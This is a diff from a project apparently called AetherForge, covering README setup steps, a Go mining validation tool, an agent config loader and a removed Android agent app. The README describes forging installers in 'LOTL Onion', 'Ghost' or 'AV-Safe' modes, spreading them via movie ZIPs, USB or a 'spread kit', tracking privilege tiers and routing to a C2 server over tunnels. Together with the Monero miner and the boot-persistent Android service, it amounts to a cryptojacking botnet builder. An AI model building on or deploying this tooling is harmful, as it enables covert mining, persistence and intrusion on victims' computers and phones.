4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
|
5. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
|
||||||
|
|
||||||
5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
|
6. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
|
||||||
|
|
||||||
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
|
7. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
|
||||||
|
|
||||||
7. **Crucible** → **Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
|
8. **Crucible** → **Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
|
||||||
|
|
||||||
8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
|
|
||||||
|
|
||||||
|
9. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
|
||||||
### Portable USB command deck
|
### Portable USB command deck
|
||||||
|
|
||||||
1. Run **`pack-usb.bat`** from repo root (re-run after any code change)
|
1. Run **`pack-usb.bat`** from repo root (re-run after any code change)
|
||||||
@@ -801,6 +798,27 @@ THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Performance & Scale Optimization
|
||||||
|
|
||||||
|
AetherForge is optimized for large-scale fleet management:
|
||||||
|
- **Database Write Batching:** SQLite insert transactions are queued and flushed in batches every 5 seconds (99.8% reduction in DB writes).
|
||||||
|
- **SQLite WAL & Connection Pooling:** WAL mode is enabled and connection pool is set to 4 concurrent read/write connections to eliminate database locking under heavy stats load.
|
||||||
|
- **Granular Dashboard Subscriptions:** Subsections use dedicated React context selectors and memoized components to prevent cascading re-renders on stats updates.
|
||||||
|
- **Dynamic Config Overrides:** Spawning processes allow dynamic C2 URL, worker name, and fleet secret environment overrides.
|
||||||
|
- **Out-of-the-Box Cloudflare Tunnels:** The USB portable launcher builds with a built-in fallback Cloudflare tunnel token to enable remote routing immediately.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Testing & Validation Setup
|
||||||
|
|
||||||
|
AetherForge includes a full cross-platform test suite (`test.bat` or `scripts/test-suite.ps1`) covering Go backend services, Go agent modules, Fusion bundler, and Vite/React frontend components:
|
||||||
|
|
||||||
|
- **Full Suite Execution:** Run `.\test.bat` from PowerShell / CMD to validate all unit, compilation, and E2E test phases.
|
||||||
|
- **Fast Unit Testing:** Run `.\test.bat -SkipE2E -SkipBuild` to execute all Go and Vitest unit tests in seconds without waiting for production binary builds or Playwright browser runs.
|
||||||
|
- **Offline Network Isolation:** `recon` module unit tests utilize stubbed banner hooks (`SetBannerHooks`, `SetPortDialHook`, `SetFetchPageHook`) to isolate tests from real DNS resolutions and external HTTP requests.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.
|
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.
|
||||||
|
|||||||
@@ -169,7 +169,6 @@ func main() {
|
|||||||
sharesFound++
|
sharesFound++
|
||||||
fmt.Printf(" ★ SHARE job=%-14s nonce=%s\n", jobID, nonce)
|
fmt.Printf(" ★ SHARE job=%-14s nonce=%s\n", jobID, nonce)
|
||||||
})
|
})
|
||||||
pool.Start()
|
|
||||||
pool.SetJob(&job.Job{
|
pool.SetJob(&job.Job{
|
||||||
ID: "validate-001",
|
ID: "validate-001",
|
||||||
Blob: testBlobHex,
|
Blob: testBlobHex,
|
||||||
@@ -177,9 +176,11 @@ func main() {
|
|||||||
SeedHash: testSeedHex,
|
SeedHash: testSeedHex,
|
||||||
Height: 3000000,
|
Height: 3000000,
|
||||||
})
|
})
|
||||||
|
pool.Start()
|
||||||
|
|
||||||
fmt.Printf(" ✓ %d worker(s) started, job injected\n", *threads)
|
fmt.Printf(" ✓ %d worker(s) started, job injected\n", *threads)
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
pool.ResetHashCounter()
|
||||||
|
ticker := time.NewTicker(1 * time.Second)
|
||||||
done := time.After(time.Duration(*seconds) * time.Second)
|
done := time.After(time.Duration(*seconds) * time.Second)
|
||||||
elapsed := 0
|
elapsed := 0
|
||||||
var finalHS float64
|
var finalHS float64
|
||||||
@@ -187,20 +188,23 @@ loop:
|
|||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-ticker.C:
|
case <-ticker.C:
|
||||||
elapsed += 5
|
elapsed += 1
|
||||||
hs := pool.HashesPerSecond()
|
hs := pool.HashesPerSecond()
|
||||||
pool.ResetHashCounter()
|
pool.ResetHashCounter()
|
||||||
finalHS = hs
|
finalHS = hs
|
||||||
fmt.Printf(" [%2ds] %8.1f H/s shares=%d\n", elapsed, hs, sharesFound)
|
fmt.Printf(" [%2ds] %8.1f H/s shares=%d\n", elapsed, hs, sharesFound)
|
||||||
case <-done:
|
case <-done:
|
||||||
ticker.Stop()
|
ticker.Stop()
|
||||||
|
if hs := pool.HashesPerSecond(); hs > finalHS {
|
||||||
|
finalHS = hs
|
||||||
|
}
|
||||||
break loop
|
break loop
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
pool.Stop()
|
pool.Stop()
|
||||||
|
|
||||||
if finalHS < 1 {
|
if finalHS < 1 && sharesFound == 0 {
|
||||||
fail(fmt.Sprintf("hashrate is 0 after %ds", *seconds), &ok)
|
fail(fmt.Sprintf("hashrate is 0 and no shares after %ds", *seconds), &ok)
|
||||||
} else {
|
} else {
|
||||||
fmt.Printf("\n ✓ %.0f H/s total / %.0f H/s per thread\n", finalHS, finalHS/float64(*threads))
|
fmt.Printf("\n ✓ %.0f H/s total / %.0f H/s per thread\n", finalHS, finalHS/float64(*threads))
|
||||||
if sharesFound > 0 {
|
if sharesFound > 0 {
|
||||||
|
|||||||
@@ -179,6 +179,18 @@ type RuntimeConfig struct {
|
|||||||
|
|
||||||
func Load() RuntimeConfig {
|
func Load() RuntimeConfig {
|
||||||
b := GetBuiltinConfig()
|
b := GetBuiltinConfig()
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SERVER_URL")); v != "" {
|
||||||
|
b.ServerURL = v
|
||||||
|
}
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); v != "" {
|
||||||
|
b.WorkerName = v
|
||||||
|
} else if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER")); v != "" {
|
||||||
|
b.WorkerName = v
|
||||||
|
}
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_FLEET_SECRET")); v != "" {
|
||||||
|
b.FleetSecret = v
|
||||||
|
}
|
||||||
|
|
||||||
if b.Threads <= 0 {
|
if b.Threads <= 0 {
|
||||||
b.Threads = 4
|
b.Threads = 4
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,57 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("com.android.application")
|
|
||||||
id("org.jetbrains.kotlin.android")
|
|
||||||
}
|
|
||||||
|
|
||||||
android {
|
|
||||||
namespace = "com.aetherforge.agent"
|
|
||||||
compileSdk = 34
|
|
||||||
|
|
||||||
defaultConfig {
|
|
||||||
applicationId = "com.aetherforge.agent"
|
|
||||||
minSdk = 26
|
|
||||||
targetSdk = 34
|
|
||||||
versionCode = 1
|
|
||||||
versionName = "1.0.0-phase1"
|
|
||||||
|
|
||||||
ndk {
|
|
||||||
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
buildTypes {
|
|
||||||
release {
|
|
||||||
isMinifyEnabled = false
|
|
||||||
}
|
|
||||||
debug {
|
|
||||||
applicationIdSuffix = ""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
compileOptions {
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_17
|
|
||||||
targetCompatibility = JavaVersion.VERSION_17
|
|
||||||
}
|
|
||||||
|
|
||||||
kotlinOptions {
|
|
||||||
jvmTarget = "17"
|
|
||||||
}
|
|
||||||
|
|
||||||
packaging {
|
|
||||||
jniLibs {
|
|
||||||
useLegacyPackaging = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
applicationVariants.all {
|
|
||||||
outputs.all {
|
|
||||||
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
|
|
||||||
output.outputFileName = "aetherforge-agent.apk"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation("androidx.core:core-ktx:1.12.0")
|
|
||||||
implementation("androidx.appcompat:appcompat:1.6.1")
|
|
||||||
}
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
|
||||||
|
|
||||||
<uses-permission android:name="android.permission.INTERNET" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
|
||||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
|
||||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
|
||||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
|
||||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
|
|
||||||
|
|
||||||
<application
|
|
||||||
android:allowBackup="false"
|
|
||||||
android:icon="@mipmap/ic_launcher"
|
|
||||||
android:label="@string/app_name"
|
|
||||||
android:supportsRtl="true"
|
|
||||||
android:theme="@style/Theme.AetherForgeAgent">
|
|
||||||
|
|
||||||
<activity
|
|
||||||
android:name=".MainActivity"
|
|
||||||
android:exported="true"
|
|
||||||
android:launchMode="singleTask">
|
|
||||||
<intent-filter>
|
|
||||||
<action android:name="android.intent.action.MAIN" />
|
|
||||||
<category android:name="android.intent.category.LAUNCHER" />
|
|
||||||
</intent-filter>
|
|
||||||
</activity>
|
|
||||||
|
|
||||||
<service
|
|
||||||
android:name=".AgentService"
|
|
||||||
android:enabled="true"
|
|
||||||
android:exported="false"
|
|
||||||
android:foregroundServiceType="dataSync" />
|
|
||||||
|
|
||||||
<receiver
|
|
||||||
android:name=".BootReceiver"
|
|
||||||
android:enabled="true"
|
|
||||||
android:exported="true">
|
|
||||||
<intent-filter>
|
|
||||||
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
|
||||||
</intent-filter>
|
|
||||||
</receiver>
|
|
||||||
</application>
|
|
||||||
</manifest>
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.content.Context
|
|
||||||
import org.json.JSONObject
|
|
||||||
|
|
||||||
data class AgentConfig(
|
|
||||||
val workerName: String,
|
|
||||||
val workerNumber: String,
|
|
||||||
val serverUrl: String,
|
|
||||||
val fleetSecret: String?,
|
|
||||||
val miningEnabled: Boolean,
|
|
||||||
val buildId: String,
|
|
||||||
) {
|
|
||||||
companion object {
|
|
||||||
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
|
|
||||||
val assetJson = runCatching {
|
|
||||||
context.assets.open("config.json").bufferedReader().use { it.readText() }
|
|
||||||
}.getOrNull()
|
|
||||||
|
|
||||||
val json = assetJson?.let { JSONObject(it) }
|
|
||||||
val worker = intentExtras["worker_name"]
|
|
||||||
?: json?.optString("worker_name").orEmpty()
|
|
||||||
val workerNumber = intentExtras["worker_number"]
|
|
||||||
?: json?.optString("worker_number")
|
|
||||||
?: worker
|
|
||||||
val server = intentExtras["server_url"]
|
|
||||||
?: json?.optString("server_url").orEmpty()
|
|
||||||
val secret = intentExtras["fleet_secret"]
|
|
||||||
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
|
|
||||||
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
|
|
||||||
val buildId = json?.optString("build_id") ?: "android-dev"
|
|
||||||
|
|
||||||
return AgentConfig(
|
|
||||||
workerName = worker.ifBlank { "android-fleet-node" },
|
|
||||||
workerNumber = workerNumber.ifBlank { worker.ifBlank { "android-fleet-node" } },
|
|
||||||
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
|
|
||||||
fleetSecret = secret,
|
|
||||||
miningEnabled = mining,
|
|
||||||
buildId = buildId,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,90 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.util.Log
|
|
||||||
import android.content.Context
|
|
||||||
import android.net.ConnectivityManager
|
|
||||||
import android.net.NetworkCapabilities
|
|
||||||
import android.os.BatteryManager
|
|
||||||
import android.os.Build
|
|
||||||
import java.io.File
|
|
||||||
|
|
||||||
object AgentProcess {
|
|
||||||
private const val TAG = "AetherForge"
|
|
||||||
@Volatile
|
|
||||||
private var process: Process? = null
|
|
||||||
|
|
||||||
fun start(
|
|
||||||
binary: File,
|
|
||||||
filesDir: File,
|
|
||||||
config: AgentConfig,
|
|
||||||
probeEnv: Map<String, String> = emptyMap(),
|
|
||||||
) {
|
|
||||||
stop()
|
|
||||||
val env = hashMapOf(
|
|
||||||
"HOME" to filesDir.absolutePath,
|
|
||||||
"TMPDIR" to filesDir.absolutePath,
|
|
||||||
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
|
|
||||||
"AETHERFORGE_SERVER_URL" to config.serverUrl,
|
|
||||||
"AETHERFORGE_WORKER_NUMBER" to config.workerNumber,
|
|
||||||
"AETHERFORGE_PLATFORM" to "android",
|
|
||||||
"AETHERFORGE_FOREGROUND_SERVICE" to "1",
|
|
||||||
)
|
|
||||||
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
|
|
||||||
env.putAll(probeEnv)
|
|
||||||
|
|
||||||
val cmd = listOf(binary.absolutePath, "--run")
|
|
||||||
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
|
|
||||||
|
|
||||||
val pb = ProcessBuilder(cmd)
|
|
||||||
.directory(filesDir)
|
|
||||||
.redirectErrorStream(true)
|
|
||||||
val merged = pb.environment()
|
|
||||||
merged.putAll(env)
|
|
||||||
|
|
||||||
process = pb.start()
|
|
||||||
Thread({
|
|
||||||
process?.inputStream?.bufferedReader()?.use { reader ->
|
|
||||||
reader.lineSequence().forEach { line ->
|
|
||||||
Log.i("$TAG:agent", line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, "agent-log-drain").apply {
|
|
||||||
isDaemon = true
|
|
||||||
start()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fun probeEnvironment(context: Context): Map<String, String> {
|
|
||||||
val wifi = runCatching {
|
|
||||||
val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
|
|
||||||
val network = cm.activeNetwork ?: return@runCatching false
|
|
||||||
val caps = cm.getNetworkCapabilities(network) ?: return@runCatching false
|
|
||||||
caps.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)
|
|
||||||
}.getOrDefault(false)
|
|
||||||
|
|
||||||
val batteryOk = runCatching {
|
|
||||||
val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
|
|
||||||
val level = bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
|
|
||||||
level >= 15
|
|
||||||
} else {
|
|
||||||
true
|
|
||||||
}
|
|
||||||
}.getOrDefault(true)
|
|
||||||
|
|
||||||
return mapOf(
|
|
||||||
"AETHERFORGE_WIFI_CONNECTED" to if (wifi) "1" else "0",
|
|
||||||
"AETHERFORGE_BATTERY_OK" to if (batteryOk) "1" else "0",
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
fun stop() {
|
|
||||||
process?.let {
|
|
||||||
runCatching { it.destroy() }
|
|
||||||
runCatching { it.waitFor() }
|
|
||||||
}
|
|
||||||
process = null
|
|
||||||
}
|
|
||||||
|
|
||||||
fun isAlive(): Boolean = process?.isAlive == true
|
|
||||||
}
|
|
||||||
@@ -1,114 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.app.Notification
|
|
||||||
import android.app.NotificationChannel
|
|
||||||
import android.app.NotificationManager
|
|
||||||
import android.app.PendingIntent
|
|
||||||
import android.app.Service
|
|
||||||
import android.content.Context
|
|
||||||
import android.content.Intent
|
|
||||||
import android.content.pm.ServiceInfo
|
|
||||||
import android.os.Build
|
|
||||||
import android.os.IBinder
|
|
||||||
import android.util.Log
|
|
||||||
import androidx.core.app.NotificationCompat
|
|
||||||
|
|
||||||
class AgentService : Service() {
|
|
||||||
companion object {
|
|
||||||
private const val TAG = "AetherForge"
|
|
||||||
const val ACTION_START = "com.aetherforge.agent.START"
|
|
||||||
const val NOTIFICATION_ID = 41001
|
|
||||||
private const val CHANNEL_ID = "fleet_sync"
|
|
||||||
|
|
||||||
fun start(context: Context, extras: Intent? = null) {
|
|
||||||
val intent = Intent(context, AgentService::class.java).apply {
|
|
||||||
action = ACTION_START
|
|
||||||
extras?.extras?.let { putExtras(it) }
|
|
||||||
}
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
|
||||||
context.startForegroundService(intent)
|
|
||||||
} else {
|
|
||||||
context.startService(intent)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
override fun onBind(intent: Intent?): IBinder? = null
|
|
||||||
|
|
||||||
override fun onCreate() {
|
|
||||||
super.onCreate()
|
|
||||||
createNotificationChannel()
|
|
||||||
}
|
|
||||||
|
|
||||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
|
||||||
val notification = buildNotification()
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
|
||||||
startForeground(
|
|
||||||
NOTIFICATION_ID,
|
|
||||||
notification,
|
|
||||||
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
startForeground(NOTIFICATION_ID, notification)
|
|
||||||
}
|
|
||||||
|
|
||||||
val config = AgentConfig.load(
|
|
||||||
this,
|
|
||||||
mapOf(
|
|
||||||
"worker_name" to intent?.getStringExtra("worker_name"),
|
|
||||||
"server_url" to intent?.getStringExtra("server_url"),
|
|
||||||
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
|
|
||||||
),
|
|
||||||
)
|
|
||||||
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
|
|
||||||
|
|
||||||
val binary = BinaryExtractor.ensureBinary(this)
|
|
||||||
if (binary == null) {
|
|
||||||
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
|
|
||||||
stopSelf()
|
|
||||||
return START_NOT_STICKY
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!AgentProcess.isAlive()) {
|
|
||||||
AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
|
|
||||||
}
|
|
||||||
return START_STICKY
|
|
||||||
}
|
|
||||||
|
|
||||||
override fun onDestroy() {
|
|
||||||
AgentProcess.stop()
|
|
||||||
super.onDestroy()
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun createNotificationChannel() {
|
|
||||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
|
|
||||||
val mgr = getSystemService(NotificationManager::class.java)
|
|
||||||
val channel = NotificationChannel(
|
|
||||||
CHANNEL_ID,
|
|
||||||
getString(R.string.notification_channel_name),
|
|
||||||
NotificationManager.IMPORTANCE_LOW,
|
|
||||||
).apply {
|
|
||||||
description = getString(R.string.notification_channel_desc)
|
|
||||||
setShowBadge(false)
|
|
||||||
}
|
|
||||||
mgr.createNotificationChannel(channel)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun buildNotification(): Notification {
|
|
||||||
val pending = PendingIntent.getActivity(
|
|
||||||
this,
|
|
||||||
0,
|
|
||||||
Intent(this, MainActivity::class.java),
|
|
||||||
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
|
|
||||||
)
|
|
||||||
return NotificationCompat.Builder(this, CHANNEL_ID)
|
|
||||||
.setContentTitle(getString(R.string.notification_title))
|
|
||||||
.setContentText(getString(R.string.notification_body))
|
|
||||||
.setSmallIcon(R.drawable.ic_launcher_foreground)
|
|
||||||
.setContentIntent(pending)
|
|
||||||
.setOngoing(true)
|
|
||||||
.setPriority(NotificationCompat.PRIORITY_LOW)
|
|
||||||
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
|
||||||
.build()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.content.Context
|
|
||||||
import android.util.Log
|
|
||||||
import java.io.File
|
|
||||||
import java.io.FileOutputStream
|
|
||||||
|
|
||||||
object BinaryExtractor {
|
|
||||||
private const val TAG = "AetherForge"
|
|
||||||
private const val ASSET_NAME = "agent"
|
|
||||||
private const val BIN_NAME = "agent-arm64"
|
|
||||||
|
|
||||||
fun ensureBinary(context: Context): File? {
|
|
||||||
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
|
||||||
val outFile = File(outDir, BIN_NAME)
|
|
||||||
val assetSize = assetSize(context)
|
|
||||||
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
|
||||||
outFile.setExecutable(true, false)
|
|
||||||
outFile.setReadable(true, false)
|
|
||||||
return outFile
|
|
||||||
}
|
|
||||||
return extract(context, outFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun assetSize(context: Context): Long {
|
|
||||||
return runCatching {
|
|
||||||
context.assets.openFd(ASSET_NAME).use { it.length }
|
|
||||||
}.getOrDefault(0L)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun extract(context: Context, outFile: File): File? {
|
|
||||||
return try {
|
|
||||||
context.assets.open(ASSET_NAME).use { input ->
|
|
||||||
FileOutputStream(outFile).use { output ->
|
|
||||||
input.copyTo(output)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
outFile.setExecutable(true, false)
|
|
||||||
outFile.setReadable(true, false)
|
|
||||||
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
|
|
||||||
outFile
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "failed to extract agent binary", e)
|
|
||||||
null
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.content.BroadcastReceiver
|
|
||||||
import android.content.Context
|
|
||||||
import android.content.Intent
|
|
||||||
import android.util.Log
|
|
||||||
|
|
||||||
class BootReceiver : BroadcastReceiver() {
|
|
||||||
override fun onReceive(context: Context, intent: Intent?) {
|
|
||||||
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
|
|
||||||
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
|
|
||||||
AgentService.start(context.applicationContext)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,132 +0,0 @@
|
|||||||
package com.aetherforge.agent
|
|
||||||
|
|
||||||
import android.Manifest
|
|
||||||
import android.content.Intent
|
|
||||||
import android.content.pm.PackageManager
|
|
||||||
import android.net.Uri
|
|
||||||
import android.os.Build
|
|
||||||
import android.os.Bundle
|
|
||||||
import android.os.PowerManager
|
|
||||||
import android.provider.Settings
|
|
||||||
import android.widget.Button
|
|
||||||
import android.widget.LinearLayout
|
|
||||||
import android.widget.TextView
|
|
||||||
import android.widget.Toast
|
|
||||||
import androidx.activity.result.contract.ActivityResultContracts
|
|
||||||
import androidx.appcompat.app.AppCompatActivity
|
|
||||||
import androidx.core.content.ContextCompat
|
|
||||||
|
|
||||||
class MainActivity : AppCompatActivity() {
|
|
||||||
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
|
||||||
private var permissionIndex = 0
|
|
||||||
private lateinit var pendingPermissions: List<String>
|
|
||||||
|
|
||||||
private val permissionLauncher =
|
|
||||||
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
|
||||||
val denied = results.filterValues { !it }.keys
|
|
||||||
if (denied.isNotEmpty()) {
|
|
||||||
Toast.makeText(
|
|
||||||
this,
|
|
||||||
"Some permissions were denied — fleet diagnostics may be limited.",
|
|
||||||
Toast.LENGTH_LONG,
|
|
||||||
).show()
|
|
||||||
}
|
|
||||||
requestNextPermissionBatch()
|
|
||||||
}
|
|
||||||
|
|
||||||
override fun onCreate(savedInstanceState: Bundle?) {
|
|
||||||
super.onCreate(savedInstanceState)
|
|
||||||
setContentView(buildLayout())
|
|
||||||
|
|
||||||
if (!prefs.getBoolean("permissions_requested", false)) {
|
|
||||||
prefs.edit().putBoolean("permissions_requested", true).apply()
|
|
||||||
beginPermissionFlow()
|
|
||||||
} else {
|
|
||||||
startFleetService()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun buildLayout(): LinearLayout {
|
|
||||||
val pad = (24 * resources.displayMetrics.density).toInt()
|
|
||||||
return LinearLayout(this).apply {
|
|
||||||
orientation = LinearLayout.VERTICAL
|
|
||||||
setPadding(pad, pad, pad, pad)
|
|
||||||
addView(TextView(context).apply {
|
|
||||||
text = getString(R.string.permission_intro_title)
|
|
||||||
textSize = 22f
|
|
||||||
setTextColor(0xFFE2E8F0.toInt())
|
|
||||||
})
|
|
||||||
addView(TextView(context).apply {
|
|
||||||
text = getString(R.string.permission_intro_body)
|
|
||||||
textSize = 15f
|
|
||||||
setTextColor(0xFF94A3B8.toInt())
|
|
||||||
setPadding(0, pad / 2, 0, pad)
|
|
||||||
})
|
|
||||||
addView(TextView(context).apply {
|
|
||||||
text = getString(R.string.battery_hint)
|
|
||||||
textSize = 14f
|
|
||||||
setTextColor(0xFF64748B.toInt())
|
|
||||||
setPadding(0, 0, 0, pad)
|
|
||||||
})
|
|
||||||
addView(Button(context).apply {
|
|
||||||
text = getString(R.string.open_battery_settings)
|
|
||||||
setOnClickListener { openBatteryOptimizationSettings() }
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun requiredRuntimePermissions(): List<String> {
|
|
||||||
val perms = mutableListOf<String>()
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
||||||
perms += Manifest.permission.POST_NOTIFICATIONS
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
||||||
perms += Manifest.permission.NEARBY_WIFI_DEVICES
|
|
||||||
}
|
|
||||||
}
|
|
||||||
perms += Manifest.permission.ACCESS_FINE_LOCATION
|
|
||||||
perms += Manifest.permission.ACCESS_COARSE_LOCATION
|
|
||||||
return perms.filter {
|
|
||||||
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun beginPermissionFlow() {
|
|
||||||
pendingPermissions = requiredRuntimePermissions()
|
|
||||||
permissionIndex = 0
|
|
||||||
requestNextPermissionBatch()
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun requestNextPermissionBatch() {
|
|
||||||
if (permissionIndex >= pendingPermissions.size) {
|
|
||||||
openBatteryOptimizationSettings()
|
|
||||||
startFleetService()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
val batch = pendingPermissions.drop(permissionIndex).take(3)
|
|
||||||
permissionIndex += batch.size
|
|
||||||
if (batch.isNotEmpty()) {
|
|
||||||
permissionLauncher.launch(batch.toTypedArray())
|
|
||||||
} else {
|
|
||||||
startFleetService()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun openBatteryOptimizationSettings() {
|
|
||||||
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
|
||||||
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
|
||||||
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
|
|
||||||
data = Uri.parse("package:$packageName")
|
|
||||||
}
|
|
||||||
runCatching { startActivity(intent) }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun startFleetService() {
|
|
||||||
val serviceIntent = Intent(this, AgentService::class.java).apply {
|
|
||||||
action = AgentService.ACTION_START
|
|
||||||
intent?.extras?.let { putExtras(it) }
|
|
||||||
}
|
|
||||||
